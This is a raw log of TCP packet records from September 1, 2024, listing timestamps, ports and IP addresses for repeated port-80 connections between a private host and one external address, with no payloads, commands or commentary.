Sep 1, 2024 23:57:00.926448107 CEST	80	49711	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:01.279010057 CEST	49711	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:01.410715103 CEST	80	49711	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:01.412995100 CEST	80	49711	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:01.497665882 CEST	49711	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:01.584198952 CEST	80	49711	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:01.687885046 CEST	49711	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:02.142183065 CEST	49712	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:02.147030115 CEST	80	49712	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:02.147145033 CEST	49712	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:02.166476011 CEST	49711	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:02.171574116 CEST	80	49711	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:02.171644926 CEST	49711	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:02.308748960 CEST	49712	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:02.313872099 CEST	80	49712	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:02.654078007 CEST	49712	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:02.658937931 CEST	80	49712	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:02.729181051 CEST	80	49712	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:02.778930902 CEST	49712	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:02.854618073 CEST	80	49712	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:03.070058107 CEST	80	49712	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:03.070146084 CEST	49712	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:03.420452118 CEST	49712	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:03.425479889 CEST	80	49712	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:03.425559998 CEST	49712	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:03.763988018 CEST	49713	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:03.768832922 CEST	80	49713	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:03.768908978 CEST	49713	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:03.769095898 CEST	49713	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:03.773854017 CEST	80	49713	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:04.103907108 CEST	49714	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:04.122726917 CEST	49713	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:04.497684002 CEST	49713	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:04.499238968 CEST	80	49714	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:04.499253035 CEST	80	49713	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:04.499315023 CEST	49714	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:04.499345064 CEST	49713	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:04.499492884 CEST	80	49713	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:04.499533892 CEST	49714	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:04.500746012 CEST	80	49713	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:04.502590895 CEST	80	49713	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:04.504266977 CEST	80	49713	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:04.504517078 CEST	80	49714	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:04.570024967 CEST	80	49713	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:04.570096016 CEST	49713	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:04.670991898 CEST	80	49713	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:04.794528008 CEST	49713	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:04.857098103 CEST	49714	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:04.861972094 CEST	80	49714	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:05.106173038 CEST	80	49714	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:05.236577988 CEST	80	49714	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:05.236630917 CEST	49714	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:05.417895079 CEST	49713	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:05.418215036 CEST	49714	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:05.423125029 CEST	80	49713	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:05.423217058 CEST	49713	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:05.423717976 CEST	80	49714	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:05.427215099 CEST	49714	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:05.453500032 CEST	49716	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:05.458317995 CEST	80	49716	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:05.459223986 CEST	49716	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:05.459336996 CEST	49716	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:05.464041948 CEST	80	49716	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:05.810229063 CEST	49716	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:05.815135002 CEST	80	49716	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:06.050873041 CEST	80	49716	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:06.180430889 CEST	80	49716	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:06.183267117 CEST	49716	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:07.870153904 CEST	49718	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.001652956 CEST	80	49718	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:08.001780033 CEST	49718	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.001928091 CEST	49718	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.006769896 CEST	80	49718	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:08.246237040 CEST	49716	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.358130932 CEST	49718	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.363022089 CEST	80	49718	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:08.593060017 CEST	80	49718	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:08.643892050 CEST	49718	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.720413923 CEST	80	49718	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:08.794709921 CEST	49718	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.863816977 CEST	49719	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.864016056 CEST	49718	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.868621111 CEST	80	49719	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:08.868711948 CEST	49719	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.868805885 CEST	49719	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.869025946 CEST	80	49718	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:08.869081974 CEST	49718	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:08.873537064 CEST	80	49719	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:09.216499090 CEST	49719	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:09.221335888 CEST	80	49719	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:09.467080116 CEST	80	49719	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:09.591406107 CEST	49719	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:09.596533060 CEST	80	49719	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:09.686486006 CEST	49720	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:09.691318989 CEST	80	49720	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:09.691389084 CEST	49720	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:09.691541910 CEST	49720	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:09.696310043 CEST	80	49720	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:09.729289055 CEST	49721	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:09.734061956 CEST	80	49721	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:09.734134912 CEST	49721	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:09.734276056 CEST	49721	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:09.739020109 CEST	80	49721	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:09.779258013 CEST	49719	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.044622898 CEST	49720	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.049436092 CEST	80	49720	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.049633980 CEST	80	49720	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.091584921 CEST	49721	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.096410036 CEST	80	49721	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.267518044 CEST	80	49720	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.314451933 CEST	80	49721	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.388281107 CEST	49720	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.392662048 CEST	80	49720	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.442425013 CEST	80	49721	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.442481995 CEST	49721	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.497664928 CEST	49720	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.684129000 CEST	49720	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.684206963 CEST	49719	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.684288979 CEST	49721	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.688390017 CEST	49723	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.689265966 CEST	80	49720	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.689311981 CEST	49720	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.689721107 CEST	80	49719	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.689759970 CEST	80	49721	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.689764977 CEST	49719	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.689802885 CEST	49721	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.693227053 CEST	80	49723	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:10.693305016 CEST	49723	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.693414927 CEST	49723	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:10.698136091 CEST	80	49723	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:11.044708014 CEST	49723	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:11.049531937 CEST	80	49723	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:11.264202118 CEST	80	49723	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:11.388755083 CEST	80	49723	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:11.388843060 CEST	49723	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:11.607923031 CEST	49725	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:11.636702061 CEST	80	49725	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:11.636770010 CEST	49725	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:11.636949062 CEST	49725	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:11.641892910 CEST	80	49725	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:11.944155931 CEST	49723	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:11.982127905 CEST	49725	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:12.064876080 CEST	80	49725	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:12.222878933 CEST	80	49725	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:12.319868088 CEST	49725	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:12.351952076 CEST	80	49725	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:12.470312119 CEST	49725	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:12.530649900 CEST	49725	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:12.531318903 CEST	49727	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:12.535665035 CEST	80	49725	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:12.535717010 CEST	49725	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:12.536053896 CEST	80	49727	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:12.536129951 CEST	49727	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:12.536243916 CEST	49727	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:12.540981054 CEST	80	49727	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:12.888489962 CEST	49727	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:13.188218117 CEST	80	49727	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:13.188452005 CEST	80	49727	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:13.294583082 CEST	49727	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:13.356245995 CEST	80	49727	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:13.480940104 CEST	49727	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:13.502248049 CEST	49727	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:13.502784014 CEST	49729	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:13.507271051 CEST	80	49727	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:13.507337093 CEST	49727	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:13.507534981 CEST	80	49729	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:13.507631063 CEST	49729	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:13.507735014 CEST	49729	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:13.512495041 CEST	80	49729	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:13.857340097 CEST	49729	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:13.862159967 CEST	80	49729	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:14.083755970 CEST	80	49729	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:14.208837032 CEST	80	49729	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:14.208904028 CEST	49729	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:14.363893032 CEST	49729	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:14.364314079 CEST	49731	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:14.373311043 CEST	80	49729	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:14.373373032 CEST	49729	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:14.373419046 CEST	80	49731	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:14.373559952 CEST	49731	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:14.373681068 CEST	49731	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:14.383270025 CEST	80	49731	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:14.732096910 CEST	49731	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:14.736927032 CEST	80	49731	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:14.949594021 CEST	80	49731	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.073537111 CEST	80	49731	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.073684931 CEST	49731	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.256784916 CEST	49732	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.256787062 CEST	49731	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.261578083 CEST	80	49732	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.261765003 CEST	49732	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.261765003 CEST	49732	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.261934042 CEST	80	49731	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.262217999 CEST	49731	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.266546011 CEST	80	49732	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.404670000 CEST	49733	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.412728071 CEST	49732	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.498919964 CEST	80	49733	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.498990059 CEST	49733	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.499145985 CEST	49733	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.503880978 CEST	80	49733	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.542022943 CEST	80	49732	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.563771009 CEST	49734	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.568676949 CEST	80	49734	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.568743944 CEST	49734	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.568857908 CEST	49734	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.573563099 CEST	80	49734	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.676256895 CEST	80	49732	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.676347017 CEST	49732	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.857165098 CEST	49733	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.862211943 CEST	80	49733	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.862322092 CEST	80	49733	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:15.919709921 CEST	49734	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:15.924599886 CEST	80	49734	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.111725092 CEST	80	49733	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.142852068 CEST	80	49734	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.200824976 CEST	49733	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.244148016 CEST	80	49733	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.278930902 CEST	49734	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.389445066 CEST	49733	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.612740040 CEST	80	49734	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.613027096 CEST	80	49734	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.613221884 CEST	49734	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.613411903 CEST	80	49733	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.613511086 CEST	49733	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.613550901 CEST	80	49734	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.617516041 CEST	49734	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.843359947 CEST	49733	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.843473911 CEST	49734	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.844118118 CEST	49735	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.848695040 CEST	80	49733	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.848896027 CEST	49733	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.848953962 CEST	80	49735	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.849181890 CEST	49735	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.849181890 CEST	49735	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.849642992 CEST	80	49734	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:16.849838972 CEST	49734	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:16.854032040 CEST	80	49735	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:17.225260973 CEST	49735	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:17.405105114 CEST	80	49735	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:17.447166920 CEST	80	49735	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:17.497677088 CEST	49735	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:17.578603029 CEST	80	49735	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:17.622668982 CEST	49735	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:17.713845968 CEST	49735	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:17.714241028 CEST	49736	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:17.719008923 CEST	80	49735	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:17.719019890 CEST	80	49736	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:17.719175100 CEST	49735	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:17.719209909 CEST	49736	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:17.719330072 CEST	49736	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:17.724302053 CEST	80	49736	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:18.076117039 CEST	49736	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:18.081017971 CEST	80	49736	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:18.343144894 CEST	80	49736	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:18.389242887 CEST	49736	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:18.474384069 CEST	80	49736	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:18.528899908 CEST	49736	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:18.855695963 CEST	49736	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:18.855927944 CEST	49737	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:18.860743999 CEST	80	49737	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:18.860785007 CEST	80	49736	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:18.860819101 CEST	49737	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:18.860861063 CEST	49736	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:18.860991001 CEST	49737	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:18.865726948 CEST	80	49737	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:19.216502905 CEST	49737	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:19.221443892 CEST	80	49737	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:19.439193010 CEST	80	49737	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:19.482050896 CEST	49737	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:19.565422058 CEST	80	49737	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:19.607103109 CEST	49737	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:19.698498964 CEST	49737	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:19.698801994 CEST	49738	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:19.703655958 CEST	80	49738	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:19.703789949 CEST	80	49737	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:19.703883886 CEST	49737	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:19.703897953 CEST	49738	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:19.704056978 CEST	49738	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:19.709750891 CEST	80	49738	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.060255051 CEST	49738	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.065119982 CEST	80	49738	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.282042980 CEST	80	49738	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.325803041 CEST	49738	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.408689022 CEST	80	49738	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.450800896 CEST	49738	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.554881096 CEST	49739	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.554917097 CEST	49738	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.559642076 CEST	80	49739	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.559969902 CEST	80	49738	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.560040951 CEST	49738	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.560060024 CEST	49739	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.560501099 CEST	49739	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.565193892 CEST	80	49739	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.919799089 CEST	49739	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.924638987 CEST	80	49739	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.970185041 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.972244024 CEST	49739	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.975166082 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.975256920 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.975433111 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:20.980427980 CEST	80	49739	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.980436087 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:20.980496883 CEST	49739	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.186559916 CEST	49741	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.191379070 CEST	80	49741	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.195430994 CEST	49741	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.195497036 CEST	49741	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.200222969 CEST	80	49741	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.328974962 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.333910942 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.333924055 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.333986998 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.334022045 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.334031105 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.334084988 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.334095955 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.334105015 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.334142923 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.334186077 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.334193945 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.334240913 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.334240913 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.334249973 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.334276915 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.334304094 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.338844061 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.338851929 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.338903904 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.338913918 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.338922024 CEST	80	49740	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:21.338922024 CEST	49740	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:21.338939905 CEST	80	49740	94.158.244.70	192.168.2.5
